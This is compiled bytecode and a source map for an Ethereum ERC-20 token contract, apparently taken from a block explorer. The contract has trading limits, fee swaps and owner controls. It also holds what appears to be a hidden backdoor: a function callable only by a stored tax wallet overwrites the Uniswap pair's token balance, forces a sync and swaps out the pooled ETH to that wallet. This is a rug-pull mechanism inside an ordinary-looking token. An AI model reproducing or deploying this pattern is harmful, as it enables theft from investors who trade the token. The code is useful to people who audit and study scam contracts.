0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610315578063c9567bf91461032a578063d91a21a61461033f578063dd62ed3e1461035f578063f4293890146103a557600080fd5b8063715018a6146102765780637d1db4a51461028b5780638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f557600080fd5b8063313ce567116100e7578063313ce567146101d85780633e7175c5146101f45780634a1316721461021657806351bc3c851461022b57806370a082311461024057600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a815269151ddbd4195c98d95b9d60b21b60208201525b6040516101609190611433565b60405180910390f35b34801561017557600080fd5b5061018961018436600461147b565b6103ba565b6040519015158152602001610160565b3480156101a557600080fd5b506005545b604051908152602001610160565b3480156101c457600080fd5b506101896101d33660046114a7565b6103d1565b3480156101e457600080fd5b5060405160128152602001610160565b34801561020057600080fd5b5061021461020f3660046114e8565b61043a565b005b34801561022257600080fd5b50610214610480565b34801561023757600080fd5b50610214610759565b34801561024c57600080fd5b506101aa61025b366004611501565b6001600160a01b031660009081526002602052604090205490565b34801561028257600080fd5b50610214610775565b34801561029757600080fd5b506101aa60095481565b3480156102ad57600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102d557600080fd5b5060408051808201909152600381526232202560e81b6020820152610153565b34801561030157600080fd5b5061018961031036600461147b565b6107e9565b34801561032157600080fd5b506102146107f6565b34801561033657600080fd5b50610214610925565b34801561034b57600080fd5b5061021461035a3660046114e8565b610a4e565b34801561036b57600080fd5b506101aa61037a36600461151e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b157600080fd5b50610214610a8b565b60006103c7338484610a95565b5060015b92915050565b60006103de848484610bb9565b610430843361042b85604051806060016040528060288152602001611723602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f66565b610a95565b5060019392505050565b6000546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611557565b60405180910390fd5b600654811161047b57600080fd5b600655565b6000546001600160a01b031633146104aa5760405162461bcd60e51b815260040161046490611557565b600b54600160a01b900460ff16156105045760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b600a546005546105219130916001600160a01b0390911690610a95565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561056f57600080fd5b505afa158015610583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a7919061158c565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561060457600080fd5b505afa158015610618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c919061158c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561068457600080fd5b505af1158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc919061158c565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b15801561071e57600080fd5b505af1158015610732573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075691906115a9565b50565b3060009081526002602052604081205490506107568130610fa0565b6000546001600160a01b0316331461079f5760405162461bcd60e51b815260040161046490611557565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c7338484610bb9565b6008546001600160a01b0316336001600160a01b03161461081657600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610883916115cb565b6000604051808303816000865af19150503d80600081146108c0576040519150601f19603f3d011682016040523d82523d6000602084013e6108c5565b606091505b5050905080156108ea57600854610756906305f5e100906001600160a01b0316610fa0565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610464565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161046490611557565b600a546001600160a01b031663f305d7194730610981816001600160a01b031660009081526002602052604090205490565b6000806109966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3291906115e7565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a785760405162461bcd60e51b815260040161046490611557565b6009548111610a8657600080fd5b600955565b476107568161112a565b6001600160a01b038316610af75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610b585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610c7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b60008111610ce15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b6000546001600160a01b03848116911614801590610d0d57506000546001600160a01b03838116911614155b15610f0557600b546001600160a01b038481169116148015610d3d5750600a546001600160a01b03838116911614155b8015610d6257506001600160a01b03821660009081526004602052604090205460ff16155b15610db957600954811115610db95760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610464565b600b546001600160a01b03838116911614801590610df057506001600160a01b03821660009081526004602052604090205460ff16155b8015610e1557506001600160a01b03831660009081526004602052604090205460ff16155b15610e955760065481610e3d846001600160a01b031660009081526002602052604090205490565b610e47919061162b565b1115610e955760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610464565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ecd5750600b546001600160a01b03858116911614155b8015610ee25750600b54600160b01b900460ff165b15610f0357610ef18130610fa0565b478015610f0157610f014761112a565b505b505b6001600160a01b038216600090815260046020526040902054610f619084908490849060ff1680610f4e57506001600160a01b03871660009081526004602052604090205460ff165b610f5a57600754611168565b6000611168565b505050565b60008184841115610f8a5760405162461bcd60e51b81526004016104649190611433565b506000610f978486611643565b95945050505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe857610fe861165a565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561103c57600080fd5b505afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611074919061158c565b816001815181106110875761108761165a565b6001600160a01b039283166020918202929092010152600a546110ad9130911685610a95565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e6908690600090869088904290600401611670565b600060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611164573d6000803e3d6000fd5b5050565b600061117f6064611179858561126c565b906112f2565b9050600061118d8483611334565b6001600160a01b0387166000908152600260205260409020549091506111b39085611334565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546111e29082611376565b6001600160a01b03861660009081526002602052604080822092909255308152205461120e9083611376565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261127b575060006103cb565b600061128783856116e1565b9050826112948583611700565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d5565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f66565b600080611383838561162b565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b600081836113f65760405162461bcd60e51b81526004016104649190611433565b506000610f978486611700565b60005b8381101561141e578181015183820152602001611406565b8381111561142d576000848401525b50505050565b6020815260008251806020840152611452816040850160208701611403565b601f01601f19169190910160400192915050565b6001600160a01b038116811461075657600080fd5b6000806040838503121561148e57600080fd5b823561149981611466565b946020939093013593505050565b6000806000606084860312156114bc57600080fd5b83356114c781611466565b925060208401356114d781611466565b929592945050506040919091013590565b6000602082840312156114fa57600080fd5b5035919050565b60006020828403121561151357600080fd5b81356112eb81611466565b6000806040838503121561153157600080fd5b823561153c81611466565b9150602083013561154c81611466565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561159e57600080fd5b81516112eb81611466565b6000602082840312156115bb57600080fd5b815180151581146112eb57600080fd5b600082516115dd818460208701611403565b9190910192915050565b6000806000606084860312156115fc57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b6000821982111561163e5761163e611615565b500190565b60008282101561165557611655611615565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116c05784516001600160a01b03168352938301939183019160010161169b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156116fb576116fb611615565b500290565b60008261171d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c63d24303d3436ff390600fa777fa4d6e8d30559610c7edbd5d1db26ec37fbd564736f6c63430008090033

Deployed Bytecode Sourcemap

3460:6223:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4730:74;;;;;;;;;;-1:-1:-1;4794:5:0;;;;;;;;;;;;-1:-1:-1;;;4794:5:0;;;;4730:74;;;;;;;:::i;:::-;;;;;;;;5472:146;;;;;;;;;;-1:-1:-1;5472:146:0;;;;;:::i;:::-;;:::i;:::-;;;1286:14:1;;1279:22;1261:41;;1249:2;1234:18;5472:146:0;1121:187:1;4971:86:0;;;;;;;;;;-1:-1:-1;5045:7:0;;4971:86;;;1459:25:1;;;1447:2;1432:18;4971:86:0;1313:177:1;5623:292:0;;;;;;;;;;-1:-1:-1;5623:292:0;;;;;:::i;:::-;;:::i;4892:74::-;;;;;;;;;;-1:-1:-1;4892:74:0;;4065:2;2098:36:1;;2086:2;2071:18;4892:74:0;1956:184:1;7835:117:0;;;;;;;;;;-1:-1:-1;7835:117:0;;;;;:::i;:::-;;:::i;:::-;;8045:313;;;;;;;;;;;;;:::i;9406:140::-;;;;;;;;;;;;;:::i;5062:109::-;;;;;;;;;;-1:-1:-1;5062:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;5149:17:0;5128:7;5149:17;;;:8;:17;;;;;;;5062:109;3316:133;;;;;;;;;;;;;:::i;3897:27::-;;;;;;;;;;;;;;;;3132:70;;;;;;;;;;-1:-1:-1;3170:7:0;3191:6;3132:70;;-1:-1:-1;;;;;3191:6:0;;;2728:51:1;;2716:2;2701:18;3132:70:0;2582:203:1;4809:78:0;;;;;;;;;;-1:-1:-1;4875:7:0;;;;;;;;;;;;-1:-1:-1;;;4875:7:0;;;;4809:78;;5176:152;;;;;;;;;;-1:-1:-1;5176:152:0;;;;;:::i;:::-;;:::i;8363:330::-;;;;;;;;;;;;;:::i;8698:218::-;;;;;;;;;;;;;:::i;7713:117::-;;;;;;;;;;-1:-1:-1;7713:117:0;;;;;:::i;:::-;;:::i;5333:134::-;;;;;;;;;;-1:-1:-1;5333:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;5435:18:0;;;5414:7;5435:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5333:134;9551:125;;;;;;;;;;;;;:::i;5472:146::-;5547:4;5558:39;1134:10;5581:7;5590:6;5558:8;:39::i;:::-;-1:-1:-1;5609:4:0;5472:146;;;;;:::o;5623:292::-;5721:4;5732:36;5742:6;5750:9;5761:6;5732:9;:36::i;:::-;5773:121;5782:6;1134:10;5804:89;5842:6;5804:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5804:19:0;;;;;;:11;:19;;;;;;;;1134:10;5804:33;;;;;;;;;;:37;:89::i;:::-;5773:8;:121::i;:::-;-1:-1:-1;5906:4:0;5623:292;;;;;:::o;7835:117::-;3241:6;;-1:-1:-1;;;;;3241:6:0;1134:10;3241:22;3233:67;;;;-1:-1:-1;;;3233:67:0;;;;;;;:::i;:::-;;;;;;;;;7914:10:::1;;7907:6;:17;7899:26;;;::::0;::::1;;7930:10;:17:::0;7835:117::o;8045:313::-;3241:6;;-1:-1:-1;;;;;3241:6:0;1134:10;3241:22;3233:67;;;;-1:-1:-1;;;3233:67:0;;;;;;;:::i;:::-;8107:9:::1;::::0;-1:-1:-1;;;8107:9:0;::::1;;;8106:10;8098:45;;;::::0;-1:-1:-1;;;8098:45:0;;3746:2:1;8098:45:0::1;::::0;::::1;3728:21:1::0;3785:2;3765:18;;;3758:30;3824:25;3804:18;;;3797:53;3867:18;;8098:45:0::1;3544:347:1::0;8098:45:0::1;8180:8;::::0;8191:7:::1;::::0;8148:51:::1;::::0;8165:4:::1;::::0;-1:-1:-1;;;;;8180:8:0;;::::1;::::0;8148::::1;:51::i;:::-;8230:8;;;;;;;;;-1:-1:-1::0;;;;;8230:8:0::1;-1:-1:-1::0;;;;;8230:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8212:48:0::1;;8269:4;8276:8;;;;;;;;;-1:-1:-1::0;;;;;8276:8:0::1;-1:-1:-1::0;;;;;8276:13:0::1;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8212:80;::::0;-1:-1:-1;;;;;;8212:80:0::1;::::0;;;;;;-1:-1:-1;;;;;4382:15:1;;;8212:80:0::1;::::0;::::1;4364:34:1::0;4434:15;;4414:18;;;4407:43;4299:18;;8212:80:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8204:5;:88:::0;;-1:-1:-1;;;;;;8204:88:0::1;-1:-1:-1::0;;;;;8204:88:0;;::::1;::::0;;::::1;::::0;;;8327:8:::1;::::0;8297:56:::1;::::0;-1:-1:-1;;;8297:56:0;;8327:8;::::1;8297:56;::::0;::::1;4635:51:1::0;-1:-1:-1;;4702:18:1;;;4695:34;8204:88:0;8297:21:::1;::::0;4608:18:1;;8297:56:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8045:313::o:0;9406:140::-;9483:4;9439:23;5149:17;;;:8;:17;;;;;;9439:50;;9494:47;9511:15;9535:4;9494:16;:47::i;3316:133::-;3241:6;;-1:-1:-1;;;;;3241:6:0;1134:10;3241:22;3233:67;;;;-1:-1:-1;;;3233:67:0;;;;;;;:::i;:::-;3417:1:::1;3401:6:::0;;3380:40:::1;::::0;-1:-1:-1;;;;;3401:6:0;;::::1;::::0;3380:40:::1;::::0;3417:1;;3380:40:::1;3442:1;3425:19:::0;;-1:-1:-1;;;;;;3425:19:0::1;::::0;;3316:133::o;5176:152::-;5254:4;5265:42;1134:10;5289:9;5300:6;5265:9;:42::i;8363:330::-;8421:10;;-1:-1:-1;;;;;8421:10:0;1134;-1:-1:-1;;;;;8407:24:0;;8399:33;;;;;;8454:4;8437:23;;;;:8;:23;;;;;;;;8463:18;8437:44;;8495:5;;;-1:-1:-1;;;;;8495:5:0;;;8486:15;;;;;8504:1;8486:19;;8528:5;;8539:42;;;;;;;;;;;;;;;-1:-1:-1;;;;;8539:42:0;-1:-1:-1;;;;;;8539:42:0;;;8528:54;;:5;;;:54;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8510:72;;;8591:7;8587:102;;;8635:10;;8607:39;;8624:9;;-1:-1:-1;;;;;8635:10:0;8607:16;:39::i;8587:102::-;8660:26;;-1:-1:-1;;;8660:26:0;;5503:2:1;8660:26:0;;;5485:21:1;5542:2;5522:18;;;5515:30;-1:-1:-1;;;5561:18:1;;;5554:46;5617:18;;8660:26:0;5301:340:1;8698:218:0;3241:6;;-1:-1:-1;;;;;3241:6:0;1134:10;3241:22;3233:67;;;;-1:-1:-1;;;3233:67:0;;;;;;;:::i;:::-;8744:8:::1;::::0;-1:-1:-1;;;;;8744:8:0::1;:24;8776:21;8807:4;8813:24;8807:4:::0;-1:-1:-1;;;;;5149:17:0;5128:7;5149:17;;;:8;:17;;;;;;;5062:109;8813:24:::1;8838:1;8840::::0;8842:7:::1;3170::::0;3191:6;-1:-1:-1;;;;;3191:6:0;;3132:70;8842:7:::1;8744:122;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8744:122:0;;;-1:-1:-1;;;;;6005:15:1;;;8744:122:0::1;::::0;::::1;5987:34:1::0;6037:18;;;6030:34;;;;6080:18;;;6073:34;;;;6123:18;;;6116:34;6187:15;;;6166:19;;;6159:44;8850:15:0::1;6219:19:1::0;;;6212:35;5921:19;;8744:122:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8871:12:0::1;:19:::0;;-1:-1:-1;;;;8895:16:0;-1:-1:-1;;;8895:16:0;;;-1:-1:-1;8698:218:0:o;7713:117::-;3241:6;;-1:-1:-1;;;;;3241:6:0;1134:10;3241:22;3233:67;;;;-1:-1:-1;;;3233:67:0;;;;;;;:::i;:::-;7788:12:::1;;7781:6;:19;7773:28;;;::::0;::::1;;7806:12;:19:::0;7713:117::o;9551:125::-;9613:21;9639:32;9613:21;9639:12;:32::i;5920:308::-;-1:-1:-1;;;;;6007:19:0;;5999:68;;;;-1:-1:-1;;;5999:68:0;;6771:2:1;5999:68:0;;;6753:21:1;6810:2;6790:18;;;6783:30;6849:34;6829:18;;;6822:62;-1:-1:-1;;;6900:18:1;;;6893:34;6944:19;;5999:68:0;6569:400:1;5999:68:0;-1:-1:-1;;;;;6080:21:0;;6072:68;;;;-1:-1:-1;;;6072:68:0;;7176:2:1;6072:68:0;;;7158:21:1;7215:2;7195:18;;;7188:30;7254:34;7234:18;;;7227:62;-1:-1:-1;;;7305:18:1;;;7298:32;7347:19;;6072:68:0;6974:398:1;6072:68:0;-1:-1:-1;;;;;6145:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6191:32;;1459:25:1;;;6191:32:0;;1432:18:1;6191:32:0;;;;;;;5920:308;;;:::o;6233:1088::-;-1:-1:-1;;;;;6315:18:0;;6307:68;;;;-1:-1:-1;;;6307:68:0;;7579:2:1;6307:68:0;;;7561:21:1;7618:2;7598:18;;;7591:30;7657:34;7637:18;;;7630:62;-1:-1:-1;;;7708:18:1;;;7701:35;7753:19;;6307:68:0;7377:401:1;6307:68:0;-1:-1:-1;;;;;6388:16:0;;6380:64;;;;-1:-1:-1;;;6380:64:0;;7985:2:1;6380:64:0;;;7967:21:1;8024:2;8004:18;;;7997:30;8063:34;8043:18;;;8036:62;-1:-1:-1;;;8114:18:1;;;8107:33;8157:19;;6380:64:0;7783:399:1;6380:64:0;6466:1;6457:6;:10;6449:64;;;;-1:-1:-1;;;6449:64:0;;8389:2:1;6449:64:0;;;8371:21:1;8428:2;8408:18;;;8401:30;8467:34;8447:18;;;8440:62;-1:-1:-1;;;8518:18:1;;;8511:39;8567:19;;6449:64:0;8187:405:1;6449:64:0;3170:7;3191:6;-1:-1:-1;;;;;6524:15:0;;;3191:6;;6524:15;;;;:32;;-1:-1:-1;3170:7:0;3191:6;-1:-1:-1;;;;;6543:13:0;;;3191:6;;6543:13;;6524:32;6520:697;;;6576:5;;-1:-1:-1;;;;;6568:13:0;;;6576:5;;6568:13;:40;;;;-1:-1:-1;6599:8:0;;-1:-1:-1;;;;;6585:23:0;;;6599:8;;6585:23;;6568:40;:68;;;;-1:-1:-1;;;;;;6614:22:0;;;;;;:18;:22;;;;;;;;6612:24;6568:68;6564:147;;;6662:12;;6654:6;:20;;6646:58;;;;-1:-1:-1;;;6646:58:0;;8799:2:1;6646:58:0;;;8781:21:1;8838:2;8818:18;;;8811:30;8877:28;8857:18;;;8850:56;8923:18;;6646:58:0;8597:350:1;6646:58:0;6725:5;;-1:-1:-1;;;;;6719:11:0;;;6725:5;;6719:11;;;;:39;;-1:-1:-1;;;;;;6736:22:0;;;;;;:18;:22;;;;;;;;6734:24;6719:39;:69;;;;-1:-1:-1;;;;;;6764:24:0;;;;;;:18;:24;;;;;;;;6762:26;6719:69;6716:174;;;6837:10;;6827:6;6811:13;6821:2;-1:-1:-1;;;;;5149:17:0;5128:7;5149:17;;;:8;:17;;;;;;;5062:109;6811:13;:22;;;;:::i;:::-;:36;;6803:77;;;;-1:-1:-1;;;6803:77:0;;9419:2:1;6803:77:0;;;9401:21:1;9458:2;9438:18;;;9431:30;9497;9477:18;;;9470:58;9545:18;;6803:77:0;9217:352:1;6803:77:0;6946:4;6897:28;5149:17;;;:8;:17;;;;;;6963:7;;-1:-1:-1;;;6963:7:0;;;;6962:8;:25;;;;-1:-1:-1;6982:5:0;;-1:-1:-1;;;;;6974:13:0;;;6982:5;;6974:13;;6962:25;:41;;;;-1:-1:-1;6991:12:0;;-1:-1:-1;;;6991:12:0;;;;6962:41;6958:254;;;7012:52;7029:20;7058:4;7012:16;:52::i;:::-;7100:21;7131:22;;7128:78;;7163:35;7176:21;7163:12;:35::i;:::-;7005:207;6958:254;6558:659;6520:697;-1:-1:-1;;;;;7256:22:0;;;;;;:18;:22;;;;;;7225:91;;7240:4;;7245:2;;7248:6;;7256:22;;;:48;;-1:-1:-1;;;;;;7280:24:0;;;;;;:18;:24;;;;;;;;7256:48;7255:60;;7308:7;;7225:14;:91::i;7255:60::-;7306:1;7225:14;:91::i;:::-;6233:1088;;;:::o;2125:169::-;2211:7;2241:12;2233:6;;;;2225:29;;;;-1:-1:-1;;;2225:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2259:9:0;2271:5;2275:1;2271;:5;:::i;:::-;2259:17;2125:169;-1:-1:-1;;;;;2125:169:0:o;7330:378::-;4260:7;:14;;-1:-1:-1;;;;4260:14:0;-1:-1:-1;;;4260:14:0;;;7437:16:::1;::::0;;7451:1:::1;7437:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7437:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7437:16:0::1;7413:40;;7476:4;7458;7463:1;7458:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7458:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7496:8:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;7496:15:0;;;;:8;;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;7458:7;;7496:15;;;;;:8;:15;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7486:4;7491:1;7486:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7486:25:0;;::::1;:7;::::0;;::::1;::::0;;;;;:25;7548:8:::1;::::0;7516:55:::1;::::0;7533:4:::1;::::0;7548:8:::1;7559:11:::0;7516:8:::1;:55::i;:::-;7576:8;::::0;:127:::1;::::0;-1:-1:-1;;;7576:127:0;;-1:-1:-1;;;;;7576:8:0;;::::1;::::0;:59:::1;::::0;:127:::1;::::0;7641:11;;7576:8:::1;::::0;7665:4;;7675:2;;7683:15:::1;::::0;7576:127:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4285:7:0;:15;;-1:-1:-1;;;;4285:15:0;;;-1:-1:-1;;;;;7330:378:0:o;7957:83::-;8008:10;;:27;;-1:-1:-1;;;;;8008:10:0;;;;:27;;;;;8028:6;;8008:10;:27;:10;:27;8028:6;8008:10;:27;;;;;;;;;;;;;;;;;;;;;7957:83;:::o;8921:446::-;9027:13;9043:29;9068:3;9043:20;:7;9055;9043:11;:20::i;:::-;:24;;:29::i;:::-;9027:45;-1:-1:-1;9077:23:0;9103:18;:7;9027:45;9103:11;:18::i;:::-;-1:-1:-1;;;;;9147:16:0;;;;;;:8;:16;;;;;;9077:44;;-1:-1:-1;9147:29:0;;9168:7;9147:20;:29::i;:::-;-1:-1:-1;;;;;9128:16:0;;;;;;;:8;:16;;;;;;:48;;;;9203:19;;;;;;;:40;;9227:15;9203:23;:40::i;:::-;-1:-1:-1;;;;;9181:19:0;;;;;;:8;:19;;;;;;:62;;;;9291:4;9274:23;;;;:34;;9302:5;9274:27;:34::i;:::-;9265:4;9248:23;;;;:8;:23;;;;;;;;;:60;;;;9318:44;1459:25:1;;;-1:-1:-1;;;;;9318:44:0;;;;;;;;;;1432:18:1;9318:44:0;;;;;;;9022:345;;8921:446;;;;:::o;2299:204::-;2357:7;2375:6;2371:32;;-1:-1:-1;2396:1:0;2389:8;;2371:32;2407:9;2419:5;2423:1;2419;:5;:::i;:::-;2407:17;-1:-1:-1;2446:1:0;2437:5;2441:1;2407:17;2437:5;:::i;:::-;:10;2429:56;;;;-1:-1:-1;;;2429:56:0;;11550:2:1;2429:56:0;;;11532:21:1;11589:2;11569:18;;;11562:30;11628:34;11608:18;;;11601:62;-1:-1:-1;;;11679:18:1;;;11672:31;11720:19;;2429:56:0;11348:397:1;2429:56:0;2497:1;2299:204;-1:-1:-1;;;2299:204:0:o;2508:123::-;2566:7;2587:39;2591:1;2594;2587:39;;;;;;;;;;;;;;;;;:3;:39::i;1993:127::-;2051:7;2072:43;2076:1;2079;2072:43;;;;;;;;;;;;;;;;;:3;:43::i;1830:158::-;1888:7;;1914:5;1918:1;1914;:5;:::i;:::-;1902:17;;1937:1;1932;:6;;1924:46;;;;-1:-1:-1;;;1924:46:0;;11952:2:1;1924:46:0;;;11934:21:1;11991:2;11971:18;;;11964:30;12030:29;12010:18;;;12003:57;12077:18;;1924:46:0;11750:351:1;2636:168:0;2722:7;2751:12;2744:5;2736:28;;;;-1:-1:-1;;;2736:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2769:9:0;2781:5;2785:1;2781;:5;:::i;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253:6;248:3;244:16;237:27;218:48;;14:258;;;:::o;277:383::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;644:2;623:15;-1:-1:-1;;619:29:1;604:45;;;;651:2;600:54;;277:383;-1:-1:-1;;277:383:1:o;665:131::-;-1:-1:-1;;;;;740:31:1;;730:42;;720:70;;786:1;783;776:12;801:315;869:6;877;930:2;918:9;909:7;905:23;901:32;898:52;;;946:1;943;936:12;898:52;985:9;972:23;1004:31;1029:5;1004:31;:::i;:::-;1054:5;1106:2;1091:18;;;;1078:32;;-1:-1:-1;;;801:315:1:o;1495:456::-;1572:6;1580;1588;1641:2;1629:9;1620:7;1616:23;1612:32;1609:52;;;1657:1;1654;1647:12;1609:52;1696:9;1683:23;1715:31;1740:5;1715:31;:::i;:::-;1765:5;-1:-1:-1;1822:2:1;1807:18;;1794:32;1835:33;1794:32;1835:33;:::i;:::-;1495:456;;1887:7;;-1:-1:-1;;;1941:2:1;1926:18;;;;1913:32;;1495:456::o;2145:180::-;2204:6;2257:2;2245:9;2236:7;2232:23;2228:32;2225:52;;;2273:1;2270;2263:12;2225:52;-1:-1:-1;2296:23:1;;2145:180;-1:-1:-1;2145:180:1:o;2330:247::-;2389:6;2442:2;2430:9;2421:7;2417:23;2413:32;2410:52;;;2458:1;2455;2448:12;2410:52;2497:9;2484:23;2516:31;2541:5;2516:31;:::i;2790:388::-;2858:6;2866;2919:2;2907:9;2898:7;2894:23;2890:32;2887:52;;;2935:1;2932;2925:12;2887:52;2974:9;2961:23;2993:31;3018:5;2993:31;:::i;:::-;3043:5;-1:-1:-1;3100:2:1;3085:18;;3072:32;3113:33;3072:32;3113:33;:::i;:::-;3165:7;3155:17;;;2790:388;;;;;: